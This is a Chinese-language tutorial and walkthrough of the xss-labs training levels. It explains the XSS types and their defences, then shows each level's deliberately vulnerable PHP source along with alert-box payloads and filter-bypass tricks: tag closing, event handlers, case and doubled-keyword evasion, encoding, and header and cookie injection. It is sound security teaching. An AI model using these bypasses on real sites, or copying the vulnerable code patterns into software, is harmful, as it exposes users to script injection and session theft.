# 💭xss 漏洞介绍
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到网页中,这些脚本然后被浏览器执行,从而使攻击者能够窃取用户的信息、劫持会话、破坏网站的功能或以其他方式危害用户和网站的安全性。XSS 攻击通常通过在网页中插入恶意代码来实现,而这些代码会在用户浏览网页时执行。
# 🕷️XSS 漏洞通常分为三个主要类型
存储型 XSS(Stored XSS): 攻击者将恶意脚本存储在服务器上的数据库或文件中,然后当用户访问包含这些恶意脚本的页面时,浏览器会加载并执行这些脚本。这可能导致用户的敏感信息被盗取,或者对网站的内容进行篡改。
反射型 XSS(Reflected XSS): 攻击者将恶意脚本包含在 URL 中,然后诱使用户点击这个 URL。当用户点击链接时,恶意脚本会被注入到页面中并立即执行。这种类型的攻击通常需要社会工程或诱导用户点击恶意链接。
DOM-based XSS: 这种类型的攻击不依赖于服务器将恶意脚本存储或反射到页面上。相反,攻击利用了文档对象模型(DOM)在浏览器中的操作方式,通过修改页面的 DOM 结构来执行恶意操作。这种攻击通常难以检测和防御。
# 💔危害
- 窃取用户的敏感信息,如用户名、密码、cookie 等。
- 劫持用户会话,使攻击者能够以用户身份执行操作。
- 修改网页内容,包括插入恶意链接或欺骗用户。
- 利用网站的信任来进行社会工程攻击。
要防止 XSS 攻击,开发人员和网站管理员可以采取以下措施:
- 输入验证和过滤: 对用户输入的数据进行验证和过滤,以确保不允许任何恶意代码通过。
- 输出编码: 在将用户输入的数据输出到网页时,使用适当的编码方法,如 HTML 编码、JavaScript 编码,以防止浏览器解释为可执行代码。
- HTTP 头部设置: 在 HTTP 响应中设置适当的安全头部,如 Content Security Policy(CSP)来限制浏览器加载外部资源。
- 使用安全框架: 使用安全框架和库,如 OWASP AntiSamy 或 DOMPurify,来帮助防御 XSS 攻击。
- 及时更新: 及时更新网站的软件、库和依赖项,以修复已知的漏洞。
挖掘 xss 语句时可以用 <>'" 空格这些标签查看页面源代码看看有没有过滤
<script>alert(1)</script> | |
<svg onload=alert(1)> | |
<a href=javascript:alert(1)> | |
<a href='javascript:alert(1)'>aa</a> |
# 🐸xss-labs 演示
# 第一关
输入的会被插入到 h2 标签里并且没有任何过滤


👁️代码分析
源码分析:下面的代码,str 获取 name 的值,直接返回前端使用。说明源码是完全没有对 GET 请求到的 name 变量进行过滤,原封不动地发送到浏览器的,所以才会被执行
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level2.php?keyword=test"; | |
} | |
</script> | |
<title>欢迎来到level1</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level1</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = $_GET["name"]; GET获取用户输入内容给str | |
echo "<h2 align=center>欢迎用户".$str."</h2>"; 直接echo输出h2标签里使用没有任何过滤 | |
?> | |
<center><img src=level1.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; | |
?> | |
</body> | |
</html> | |
payload:<script>alert(33333)</script> |

# 第二关

👁️代码分析
这关用到了 htmlspecialchars() 函数 | |
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体 | |
预定义的字符是: | |
&(和号)成为& | |
"(双引号)成为 " | |
'(单引号)成为 ' | |
< (小于)成为 < | |
>(大于)成为 > | |
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level3.php?writing=wait"; | |
} | |
</script> | |
<title>欢迎来到level2</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level2</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = $_GET["keyword"]; | |
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> | |
<form action=level2.php method=GET> | |
<input name=keyword value="'.$str.'"> | |
<input type=submit name=submit value="搜索"/> | |
</form> | |
</center>'; | |
?> | |
<center><img src=level2.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; | |
?> | |
</body> | |
</html> | |
用htmlspecialchars对用户输入的预定义的字符转换为HTML实体 |

<> 被转义了导致无法执行语句弹窗

而 input 也被写入了语句并且没有进行转义,可以在这里闭合 input 就可以执行语句了
payload: "> <script>alert(1)</script>

# 第三题
输入上关语句无效了

查看源代码对两处都用 htmlspecialchars 函数处理了无法闭合了,可以使用’ autofocus onfocus=alert (666) ' 事件触发型的语句
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level4.php?keyword=try harder!"; | |
} | |
</script> | |
<title>欢迎来到level3</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level3</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = $_GET["keyword"]; | |
echo "<h2 align=center>没有找到和".htmlspecialchars($str).被处理"相关的结果.</h2>"."<center> | |
<form action=level3.php method=GET> | |
<input name=keyword value='".htmlspecialchars($str)."'> 被处理 | |
<input type=submit name=submit value=搜索 /> | |
</form> | |
</center>"; | |
?> | |
<center><img src=level3.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; | |
?> | |
</body> | |
</html> |

# 第四关
和第三关一样不过这关用双引号闭合

👁代码分析
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level5.php?keyword=find a way out!"; | |
} | |
</script> | |
<title>欢迎来到level4</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level4</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = $_GET["keyword"]; | |
$str2=str_replace(">","",$str); > | |
$str3=str_replace("<","",$str2); <被转换为空 | |
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> | |
<form action=level4.php method=GET> | |
<input name=keyword value="'.$str3.'"> 双引号包裹 | |
<input type=submit name=submit value=搜索 /> | |
</form> | |
</center>'; | |
?> | |
<center><img src=level4.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; | |
?> | |
</body> | |
</html> |
< > 被转换为空了
# 第五关
scrinpt 被替换了 但是 <> 没有被处理

可以用其他标签代替"><ahref="javascript:alert(1);">xss</a>


添加一个 a 标签内容弹窗点击触发弹窗

👁代码分析
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level6.php?keyword=break it out!"; | |
} | |
</script> | |
<title>欢迎来到level5</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level5</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = strtolower($_GET["keyword"]); | |
$str2=str_replace("<script","<scr_ipt",$str); | |
$str3=str_replace("on","o_n",$str2); | |
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> | |
<form action=level5.php method=GET> | |
<input name=keyword value="'.$str3.'"> | |
<input type=submit name=submit value=搜索 /> | |
</form> | |
</center>'; | |
?> | |
<center><img src=level5.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; | |
?> | |
</body> | |
</html> | |
把<script 和on 替换为<scr_ipt o_n 所以不可用 |
# 第六关
输入 "><ahref=“javascript:alert (1);”>xss

href 被过滤了可以尝试一下把 href 写成大小写 hREf

这样就成功绕过了

👁代码分析
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level7.php?keyword=move up!"; | |
} | |
</script> | |
<title>欢迎来到level6</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level6</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = $_GET["keyword"]; | |
$str2=str_replace("<script","<scr_ipt",$str); | |
$str3=str_replace("on","o_n",$str2); | |
$str4=str_replace("src","sr_c",$str3); | |
$str5=str_replace("data","da_ta",$str4); | |
$str6=str_replace("href","hr_ef",$str5); | |
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> | |
<form action=level6.php method=GET> | |
<input name=keyword value="'.$str6.'"> | |
<input type=submit name=submit value=搜索 /> | |
</form> | |
</center>'; | |
?> | |
<center><img src=level6.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; | |
?> | |
</body> | |
</html> |
str);
str2);
str3);
str4);
str5);
过滤了更多标签
# 第七关


把 href 过滤为空了,可以写两遍双写绕过

# 第八关
把输入内容到了 input 标签里和 a 标签里
script 被替换双引号被转义


javascript 也被替换了
把 javascript:alert (1); 编码

javascript:alert(1); 绕过替换检测到 herf 里面会被解码


👁代码分析
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level9.php?keyword=not bad!"; | |
} | |
</script> | |
<title>欢迎来到level8</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level8</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = strtolower($_GET["keyword"]); | |
$str2=str_replace("script","scr_ipt",$str); | |
$str3=str_replace("on","o_n",$str2); | |
$str4=str_replace("src","sr_c",$str3); | |
$str5=str_replace("data","da_ta",$str4); | |
$str6=str_replace("href","hr_ef",$str5); | |
$str7=str_replace('"','"',$str6); | |
echo '<center> | |
<form action=level8.php method=GET> | |
<input name=keyword value="'.htmlspecialchars($str).'"> | |
<input type=submit name=submit value=添加友情链接 /> | |
</form> | |
</center>'; | |
?> | |
<?php | |
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; | |
?> | |
<center><img src=level8.jpg></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; | |
?> | |
</body> | |
</html> |
strtolower把字符串转换为小写
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
被替换.htmlspecialchars($str)转义
# 第九关
输入上关的显示链接不合法

输入一个链接

还是不合法显示

加上http://gyzero.shop成功跳转,那就是检测了有没有http://没有就报错
在上一关基础上添加http://
javascript:alert(1);//http:// 并且用//把http://注释掉
javascript:alert(1);//http://


成功弹窗
👁代码分析
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level10.php?keyword=well done!"; | |
} | |
</script> | |
<title>欢迎来到level9</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level9</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = strtolower($_GET["keyword"]); | |
$str2=str_replace("script","scr_ipt",$str); | |
$str3=str_replace("on","o_n",$str2); | |
$str4=str_replace("src","sr_c",$str3); | |
$str5=str_replace("data","da_ta",$str4); | |
$str6=str_replace("href","hr_ef",$str5); | |
$str7=str_replace('"','"',$str6); | |
echo '<center> | |
<form action=level9.php method=GET> | |
<input name=keyword value="'.htmlspecialchars($str).'"> | |
<input type=submit name=submit value=添加友情链接 /> | |
</form> | |
</center>'; | |
?> | |
<?php | |
if(false===strpos($str7,'http://')) | |
{ | |
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; | |
} | |
else | |
{ | |
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; | |
} | |
?> | |
<center><img src=level9.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; | |
?> | |
</body> | |
</html> | |
增加了一个判断如果str7含有http://则添加成功如果没有则报错您的链接不合法?有没有! | |
if(false===strpos($str7,'http://')) | |
{ | |
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; | |
} | |
else | |
{ | |
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; | |
} |
# 第九关
输入’"<>script javascript 只有 <> 被过滤了

三个隐藏域

添加参数
t_sort 输入的被传回前端

&t_sort=" type=“text” autofocus onfocus=alert(1)//

# 第十一关
多了一个

t_ref 获取 http referer
更改 referer

成功弹窗

👁代码分析
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level12.php?keyword=good job!"; | |
} | |
</script> | |
<title>欢迎来到level11</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level11</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = $_GET["keyword"]; | |
$str00 = $_GET["t_sort"]; | |
$str11=$_SERVER['HTTP_REFERER']; 获取referer赋值给$str11 | |
$str22=str_replace(">","",$str11); <>替换为空 | |
$str33=str_replace("<","",$str22); 赋值给$str33 | |
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> | |
<form id=search> | |
<input name="t_link" value="'.'" type="hidden"> | |
<input name="t_history" value="'.'" type="hidden"> | |
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> | |
<input name="t_ref" value="'.$str33.'" type="hidden"> value=$str33 | |
</form> | |
</center>'; | |
?> | |
<center><img src=level11.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; | |
?> | |
</body> | |
</html> |
# 第十二关
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level13.php?keyword=good job!"; | |
} | |
</script> | |
<title>欢迎来到level12</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level12</h1> | |
<?php | |
ini_set("display_errors", 0); | |
$str = $_GET["keyword"]; | |
$str00 = $_GET["t_sort"]; | |
$str11=$_SERVER['HTTP_USER_AGENT']; 这次获取的UA头内容 | |
$str22=str_replace(">","",$str11); | |
$str33=str_replace("<","",$str22); | |
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> | |
<form id=search> | |
<input name="t_link" value="'.'" type="hidden"> | |
<input name="t_history" value="'.'" type="hidden"> | |
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> | |
<input name="t_ua" value="'.$str33.'" type="hidden"> | |
</form> | |
</center>'; | |
?> | |
<center><img src=level12.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; | |
?> | |
</body> | |
</html> |
这次获取的 UA 头内容其他跟上关一样改一下就行了


# 第十三关
这次获取的 cookie 其他跟上关一样改一下就行了
<!DOCTYPE html><!--STATUS OK--><html> | |
<head> | |
<meta http-equiv="content-type" content="text/html;charset=utf-8"> | |
<script> | |
window.alert = function() | |
{ | |
confirm("完成的不错!"); | |
window.location.href="level14.php"; | |
} | |
</script> | |
<title>欢迎来到level13</title> | |
</head> | |
<body> | |
<h1 align=center>欢迎来到level13</h1> | |
<?php | |
setcookie("user", "call me maybe?", time()+3600); | |
ini_set("display_errors", 0); | |
$str = $_GET["keyword"]; | |
$str00 = $_GET["t_sort"]; | |
$str11=$_COOKIE["user"]; | |
$str22=str_replace(">","",$str11); | |
$str33=str_replace("<","",$str22); | |
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> | |
<form id=search> | |
<input name="t_link" value="'.'" type="hidden"> | |
<input name="t_history" value="'.'" type="hidden"> | |
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> | |
<input name="t_cook" value="'.$str33.'" type="hidden"> | |
</form> | |
</center>'; | |
?> | |
<center><img src=level13.png></center> | |
<?php | |
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; | |
?> | |
</body> | |
</html> |

# 第十五关
f12 看到 ngInclude: undefined 未定义
定义和用法
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
用他去包含第一关
src=‘level1.php?name=’

# 第十六关
script 和 / 空格没了

html中是可以将%0a和%0d作为空格使用的
<a%0adonmouseover='alert(1)'>
划过触发的事件*onmouseover*

# 第十七关
转义后给了 embed 标签
embed 标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed 标签打开不了文件的时候就会没有显示的区域在,他们就能有块错误的区域

构建[http://127.0.0.1/xss-labs/level17.php?arg01=a&arg02=234567%20onmouseover=%27alert(1)%27]

# 第十八关
[http://127.0.0.1/xss-labs/level18.php?arg01=a&arg02=555 onmouseover=‘alert(1)’](http://127.0.0.1/xss-labs/level18.php?arg01=a&arg02=555 onmouseover=‘alert(1)’)
一样通关

# 总结
总结
无过滤机制:指的是在应用程序中没有对用户输入数据进行足够的过滤和验证,从而使恶意用户能够插入恶意代码,例如JavaScript,以攻击其他用户或应用程序。闭合标签:在HTML或XML中,攻击者尝试注入未经关闭的标签,以破坏文档结构或执行恶意代码。单引号闭合 + 添加事件:这是一种XSS攻击技术,攻击者尝试通过在HTML属性中插入单引号并添加JavaScript事件来执行恶意代码。双引号闭合 + 添加事件:类似于上面的攻击,但使用双引号来闭合属性,并添加JavaScript事件。双引号闭合 + 新建标签:攻击者尝试通过在HTML属性中插入双引号并创建新的HTML标签来执行恶意代码。大小写绕过:攻击者尝试通过在标签和属性名称中使用大小写混合来绕过安全过滤。双写绕过:攻击者尝试通过在标签或属性名称中使用双写来绕过安全过滤,例如使用<sccript>代替<script>。编码绕过:攻击者可能尝试使用编码或转义字符来绕过安全过滤,使浏览器执行恶意代码。检测关键字:安全过滤器通常会检查用户输入中的关键字,以识别和防止恶意代码注入。隐藏域打XSS:攻击者尝试通过在HTML表单的隐藏字段中插入恶意脚本来进行XSS攻击。Referer字段打XSS:攻击者可能会尝试通过伪造Referer字段的值来欺骗服务器,以执行XSS攻击。User-Agent字段打XSS:攻击者可能会伪造User-Agent字段,试图绕过安全措施以进行XSS攻击。Cookie字段打XSS:攻击者尝试通过在Cookie中注入恶意脚本来进行XSS攻击。代码不全做不了:指的是应用程序在接收到用户输入后没有足够的代码完整性检查,导致可能无法执行某些完整性要求的操作。ng-include 属性:这是AngularJS中的一个指令,如果不受控制地将用户提供的内容包含在ng-include中,可能会导致XSS攻击。空格实体转义:攻击者可能尝试通过将空格字符替换为HTML实体,来绕过安全过滤。embed参数拼接:攻击者尝试通过构造恶意的embed标签参数来执行XSS攻击。